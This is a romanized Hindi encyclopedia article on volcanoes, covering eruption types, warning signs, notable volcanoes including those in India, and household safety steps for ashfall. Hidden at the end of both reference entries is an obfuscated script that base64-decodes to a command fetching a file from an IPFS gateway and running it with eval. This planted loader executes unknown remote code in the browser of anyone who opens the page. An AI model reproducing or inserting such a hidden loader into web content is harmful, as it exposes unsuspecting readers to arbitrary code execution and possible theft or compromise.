ज्वालामुखी
thumb|250px|jvalamukhi jvalamukhi bhoopatal par vah prakritik chhed ya darar hai, jisase hokar prithvi ka vighala padarth lava, rakh, vashp tatha any gaisean bahar nikalati haian. bahar hava mean u da hua lava shighr hi thanda hokar chhote thos tuk doan mean badal jata hai, jise 'siandar' kahate haian. udgar mean nikalane vali gaisoan mean vashp ka pratishat sarvadhik hota hai. prithvi par jitane bhi jvalamukhi maujood haian, unamean se zyadatar das hazar se ek lakh sal purane haian. vakt ke sath-sath inaki ooanchaee bhi badh jati hai. jvalamukhi parvat se nikalane vali chizoan mean maigma ke sath kee tarah ki vishaili gaisean bhi hoti haian. ye gaisean as-pas base logoan ke lie kafi ghatak hoti haian. in parvatoan se nikala maigma ek bahati huee ag ke saman hota hai. yah apane samane aee har chiz ko poori tarah se samapt kar deta hai.
udgar ya visphot
jvalamukhi ka udgar ek kendr ya chhidr dvara athava darar se hota hai. kendriy udgar vale jvalamukhi prayah bhayankar aur tivr veg vale hote haian, jabaki darari udgar mean lava prayah dhire-dhire nikal kar bhoo-prishth par phail jata hai. kendriy udgar mean niahsrit lava tatha any padarth adhik ooanchaee tak akash mean pahuanch jate haian tatha akash mean prayah badal chha jate haian aur vikhandit padarth punah tivrata se niche girate haian. thumb|left|250px|jvalamukhi ye jvalamukhi adhik bhayankar tatha vinashakari hote haian. kendriy udgar vale jvalamukhi udgar ki avadhi, aantaral tatha prakriti ke anusar kee prakar ke hote haian, jinhean vishisht jvalamukhi ke adhar par kee vargoan mean vibhakt kiya jata hai. inamean pramukh prakar haiah havaee, stramboli, valkaino, piliyan, tatha visooviyas tuly jvalamukhi.
visphot se poorv ke sanket
kisi bhi jvalamukhi ke ag ugalane se pahale kuchh parivartan samany roop se dekhe jate haian. inamean us jagah ke as-pas maujood pani ka star achanak badhane lagata hai. jvalamukhi phatane se pahale bhookamp ke kuchh halke jhatake bhi ate haian. in tamam batoan ke alava jvalamukhi kya-kya tabahi lane vala hai, isaka sanket vah svayan bhi deta hai. jo jvalamukhi parvat phatane vala hota hai, us parvat mean se gaisoan ka risav shuroo ho jata hai. gaisoan ka yah risav isake muhane (mukh) ya phir 'kretar' se hota hai. isake alava, parvat mean kee jagah paida huee dararoan se bhi in gaisoan ka risav hota hai. yah is bat ka sanket hai ki ab isake ag ugalane ka samay a gaya hai. in gaisoan mean salfar-daee-aauksaid, k aaurban-daee-aauksaid, haidrojan kloraid adi pramukh gaisean hoti haian. inamean se haidrojan-kloraid aur k aaurban-daee-aauksaid behad khataranak hoti hai.[1]
astittv
jvalamukhi n sirf prithvi par hi maujood haian, balki inaka astitv mahasagaroan mean bhi hai. samudr mean qarib das hazar jvalamukhi maujood haian. aj bhi kee jvalamukhi vaijnanikoan ki nigah se bache hue haian. vinashakari sunami laharoan ka nirman bhi samudr ke bhitar jvalamukhi visphot se hi hota hai. sabase b da jvalamukhi parvat havaee mean hai. isaka nam 'mona lo' hai. yah qarib 13000 fit ooancha hai. yadi isako samudr ki gaharaee se napa jae, to yah qarib 29000 fit ooancha hai. isaka arth hai ki yah mauant evarest se bhi ooancha hai. thumb|250px|jvalamukhi isake bad sisali ke 'mauant aitana' ka nanbar ata hai. yah vishv ka ekamatr sabase purana jvalamukhi hai. yah 3,5000 sal purana hai. jvalamukhi 'stromaboli' ko to 'laitahaus aauf maiditairiyan' kaha jata hai. isaki vajah hai ki yah har vakt sulagata hi rahata hai.
khanij padarth
jvalamukhi ke mukh se nikali ye gaisean vatavaran ko kafi pradooshit karati haian. jvalamukhi se nikale lave mean kee tarah ke khanij bhi hote haian. jvalamukhi parvat kee tarah ki chattanoan se bane hote haian. inamean kali, safed, bhoori chattanean adi shamil haian. amerika mean endij parvatamala ko jvalamukhi parvat shrriankhala ke taur par liya jata hai. havaee (amerika) mean maujood kee tapoo apane kali mitti se bane tatoan ke lie behad prasiddh haian. ye tat aur kuchh nahian, balki in parvatoan se nikale khanij hi haian. jvalamukhi zamin ki athah gaharaee mean chhipe khanijoan ko ek hi bar mean bahar pheank deta hai.[1]
jvalamukhi ke prakar
ek anuman ke mutabiq abhi tak poori duniya mean qarib 1500 jivit jvalamukhi parvat haian. himalay ek mrit jvalamukhi hai, isalie isase kisi bhi prakar ka khatara hone ki ashanka nahian hai. magar doosari taraph 'mauant etana' samet kee any jivit jvalamukhi haian, kyoanki inase samay-samay par lava aur gais nikalati rahati haian. ye iansani jan ke lie hamesha se hi khataranak rahe haian. eshiya mahadvip par sabase zyada jvalamukhi iandoneshiya mean haian. udgar ki avadhi ke anusar jvalamukhi tin prakar ke hote haian- thumb|jvalamukhi
bharat mean jvalamukhi
yah sochana galat hai ki bharat mean jvalamukhi nahian haian. bharat ke do sabase khataranak jvalamukhi aandaman evan nikobar dvip samooh par haian. inamean se ek bairan dvip hai. 2004 mean aee sunami ke dauran bairan phat gaya tha. is dauran isake 500 mitar ooanche kretar se lava nikalane laga tha. aandaman ki rajadhani port bleyar se qarib 135 kilomitar door bairan dvip mean isase pahale 1996 mean visphot hua tha. isi ke milate julate nam vala jvalamukhi hai, 'bairan ayalaiand'. gol akar vale is jvalamukhi mean 1994-95 mean kee visphot ho chuke haian. isase nikale lave ke nishan aj bhi maujood haian. aandaman mean hi tisara b da jvalamukhi hai, 'narakoandam'. jise pahale samapt man liya gaya tha. joon 2005 mean is jvalamukhi se kich d aur dhuaan nikalata dekha gaya tha. isase pahale 100 sal tak isamean koee gatividhi nahian huee thi. kaha jata hai ki 2004 mean sumatra mean ae bhookamp ki vajah se isamean visphot hua.
shaktishali jvalamukhi
vaijnanikoan ke mutabiq dharati par sabase zyada khataranak jvalamukhi 'tanbora' hai. jo iandoneshiya mean maujood hai. hind mahasagar mean sabase zyada takatavar jvalamukhi 'pitoan de la ph aaurnes' hai, to prithvi ka sabase b da jvalamukhi 'mauna loa' ko mana jata hai. jo havaee dvip mean hai. inake alava bhi saik doan aise jvalamukhi haian, jo bhookamp ke halat paida hone par khatara ban jate haian.
savadhaniyaan evan upay
jhvalamukhi udgar se pahale
- apane ghar ke sadashyoan ke sath milakar bachav hetu shthan chho dakar jane ka abhhyas karean.
- ek ghareloo apatakalin yojana banaean. apane ghar ke liye tatha sath le kar ja sakane vali getave kit ke liye apatakalin bachav vashtuoan ko vhyavasthit karean aur inaka rakharakhav banae rakhean.
- apani apatakalin yojanaoan mean apane palatoo pashuoan aur pashudhan ko shamil karean.
jab jhvalamukhi udgar ka khatara ho
- apane shthaniy rediyo kenhdroan ko sunean jahaan apatakalin prabandhan karmachari apake samuday ke lie sarvadhik upayukht janakari prasarit kareange.
- apani apatakalin yojana par karravaee karean.
- yadi ap vikalaang haian ya apako sahayata ki avashhyakata ho to, apane sahayogi netavark se samhpark karean aur nagarik pratiraksha salah ke prati jagarook rahean.
- sabhi mashinoan ko jhvalamukhi ki rakh se bachane ke lie gairaj ya shed mean rakhean, ya unako b de tirapal se dhak dean.
- palatoo pashuoan aur pashudhan ko jhvalamukhi rakh se bachane ke lie banhd ashrayashthaloan par le aean.
- najuk ilekhtr aaunik samanoan ko bachakar rakhean aur unhhean tab tak n kholean jab tak ki vatavaran poorn roop se rakh rahit n ho jae.
- un mitroan aur p dosiyoan ke vishay mean pata lagaean, jinako kisi vishesh sahayata ki avashhyakata ho sakati hai.
jhvalamukhi udgar ke dauran
- nagarik pratiraksha salah ke lie rediyo sunean aur dishanirdeshoan ka palan karean.
- yadi udgar ke samay ghar se bahar haian, to kar ya kisi bhavan mean ashray lean. yadi jhvalamukhiy rakh mean phans jaean, to dasht m aaushk (dust mask) pahanean ya apane muanh v nak ko roomal se dhank lean.
- ghar mean hi thaharean khyoanki jhvalamukhi ki rakh shvashthhy ke lie khataranak hai, visheshakar yadi ap ko saans ki pareshaniyaan, jaise dama ya broankaitis hai.
- jab ghar mean hoan to jhvalamukhiy rakh ko aandar ane se rokane ke lie sabhi khi daki-daravaze banhd kar dean. dahalijoan par bhige tauliye rakhean.
- phon lainoan ko gair-apatakalin k aauloan par vhyasht n rakhean.
- yadi apako bahar jana ho to mashk v chashhme jaise surakshathmak upakaran ishtemal karean aur apani thvacha ko yathasamhbhav dhakakar rakhean.
- kanhtaikht lenhs ke bajay chashhme pahanean varana yah k aaurniya mean kharoanch ka karan ban sakate haian.
- jin paipoan/naliyoan se gatar ko ganhde pani ki nikasi hoti ho unhhean jam hone se rokane ke lie kanekhshan band kar dean. yadi ap pani ki apoorti ke lie varsha jal sangrahan pranali ishtemal karate hoan to taiank ka kanekhshan band kar dean.
- chinhit nishiddh kshetroan se bahar thaharean.
jhvalamukhi udgar ke bad
- nagarik pratiraksha salah ke lie apake shthaniy rediyo kenhdroan ko sunean aur dishanirdeshoan ka palan karean.
- gharoan mean thharean aur jhvalamukhi ki rakh girane vale shthanoan se yathasamhbhav door rahean.
- jab bahar jana surakshit ho, to apane gatar aur chhat ki rakh saph karean khyoanki adhik rakh jama hone se apaki chhat dhah sakati hai.
- yadi apako apoorti kie ja rahe pani mean adhik rakh ho to apane dishavashar ya vashiang mashin ko ishtemal n karean.
- adhik rakh girane par vahan n chalaean khyoanki isase rakh u d sakati hai jo ianjan ko jam kar sakati hai aur jo apake vahan ko kafi kshatigrasht kar sakati hai.
- pashuoan ko jahaan tak sanbhav ho band jagahoan par rakhean, unake pet mean rakh jane se rokane ke lie unake panjoan/khuroan v thvacha ki rakh saph kar dean, aur unhhean pine ke lie saph pani dean.
- rakh saph karate samay aankhoan ko surakshit rakhane ke lie m aaushk ya bhige kap de ka ishtemal karean. rakh ko saph karane se pahale us par chhi dakav karake nam bana dean.
- upayogi sevaoan ki tooti laeenoan ko jaanchean aur upayukht pradhikariyoan ko isaki riport karean.
- yadi apaki sanpatti nashht ho gee ho, to bima uddeshhyoan ke lie isaka vivaran likhean aur photo khianch lean. yadi apaki samhpatti kirae ki hai, to jitani jalhdi sanbhav ho sake apane makan-malik se samhpark karean aur apani sanbandhit bima kanpani se samhpark karean.[2]
udgar ke adhar par jvalamukhi
jvalamukhi udgar prayah do roopoan mean hota hai-
- kendriy udgar - ye kee prakar ke hote haian-
- piliyan tuly jvalamukhi
- valkaino tuly jvalamukhi
- stramboli tuly jvalamukhi
- havaeeyan tuly jvalamukhi
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tika tippani aur sandarbh
- ↑ 1.0 1.1 Mitra, Vijay. jvalamukhi (hindi). . abhigaman tithi: 27 navambar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ badh (hiandi) get ready get thru. abhigaman tithi: 4 julaee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh